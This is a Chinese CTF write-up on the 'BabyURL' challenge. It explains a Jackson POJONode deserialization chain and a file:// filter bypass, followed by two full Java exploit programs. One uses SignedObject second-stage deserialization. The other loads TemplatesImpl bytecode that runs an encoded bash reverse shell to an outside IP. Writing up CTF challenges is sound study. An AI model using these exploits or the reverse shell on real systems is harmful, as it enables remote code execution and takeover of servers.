目录
前言
分析
EXP
SignedObject打二次反序列化
打TemplatesImpl加载恶意字节码
前文:【Web】浅聊Jackson序列化getter的利用——POJONode
前言
题目环境:2023巅峰极客 BabyURL
之前AliyunCTF Bypassit I这题考查了这样一条链子:
BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl
其实就是Jackson的原生反序列化利用
今天复现的这题也是大同小异,一起来整一下😋
分析
toString到getter的部分不作赘述,getter一般常见的用法分两种,打二次反序列化和打TemplatesImpl
结合具体题目去分析
先看pom依赖,就是给了一些spring依赖,众所周知,在 Spring Boot 中,通常自带jackson
再来看一下输入流,注意到ban了URLVistor和URLHelper两个classpath下的bean
URLHelper#readObject调用了URLVisiter#visitUrl,获取的结果写入/tmp/file文件
来看URLVisiter#vistUrl
visitUrl
限制了URL不能以file
开头,可以首字符用空格绕过,也可以用大写绕过FILE:///
,从而绕过限制,读取靶机本地文件
给了三个路由,反序列化入口点在/hack处,然后可以在/file路由读取/tmp/file路由的内容并回显
那么思路就很清晰了,我们要先利用反序列化让URLVisiter去读flag,再写入/tmp/file
问题是MyObjectInputStream将URLHelper和URLVister给ban了,这点我们可以用SignedObject打二次反序列化来绕过
EXP
SignedObject打二次反序列化
package com.yancao.ctf.exp;import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.ProtectionDomain;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;public class EXP {public static void main(String[] args) throws Exception {try {ClassPool pool = ClassPool.getDefault();CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");jsonNode.removeMethod(writeReplace);ClassLoader classLoader = Thread.currentThread().getContextClassLoader();jsonNode.toClass(classLoader, (ProtectionDomain)null);} catch (Exception var11) {}URLHelper urlHelper = new URLHelper(" file:///");URLVisiter urlVisiter = new URLVisiter();setFieldValue(urlHelper, "visiter", urlVisiter);KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);POJONode jsonNodes = new POJONode(signedObject);BadAttributeValueExpException exp = new BadAttributeValueExpException(1);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(exp, jsonNodes);System.out.println(serial(exp));}public static String serial(Object o) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}private static void setFieldValue(Object obj, String field, Object arg) throws Exception {Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}
打TemplatesImpl加载恶意字节码
这个就和AliyunCTF那题一样了,不需要依赖题目自定义的类,简单粗暴
package com.yancao.ctf.exp;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.ProtectionDomain;
import java.util.Base64;public class EXP {public static void main(String[] args) throws Exception {try {ClassPool pool = ClassPool.getDefault();CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");jsonNode.removeMethod(writeReplace);ClassLoader classLoader = Thread.currentThread().getContextClassLoader();jsonNode.toClass(classLoader, (ProtectionDomain)null);} catch (Exception var11) {}byte[] code = getTemplates();//用javassist获取byte[][] codes = {code};TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "xxx");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", codes);POJONode node = new POJONode(templates);BadAttributeValueExpException val = new BadAttributeValueExpException(null);setFieldValue(val, "val", node);System.out.println(serial(val));}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}public static byte[] getTemplates() throws Exception{ClassPool pool = ClassPool.getDefault();CtClass template = pool.makeClass("MyTemplate");template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}\");";template.makeClassInitializer().insertBefore(block);return template.toBytecode();}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}
}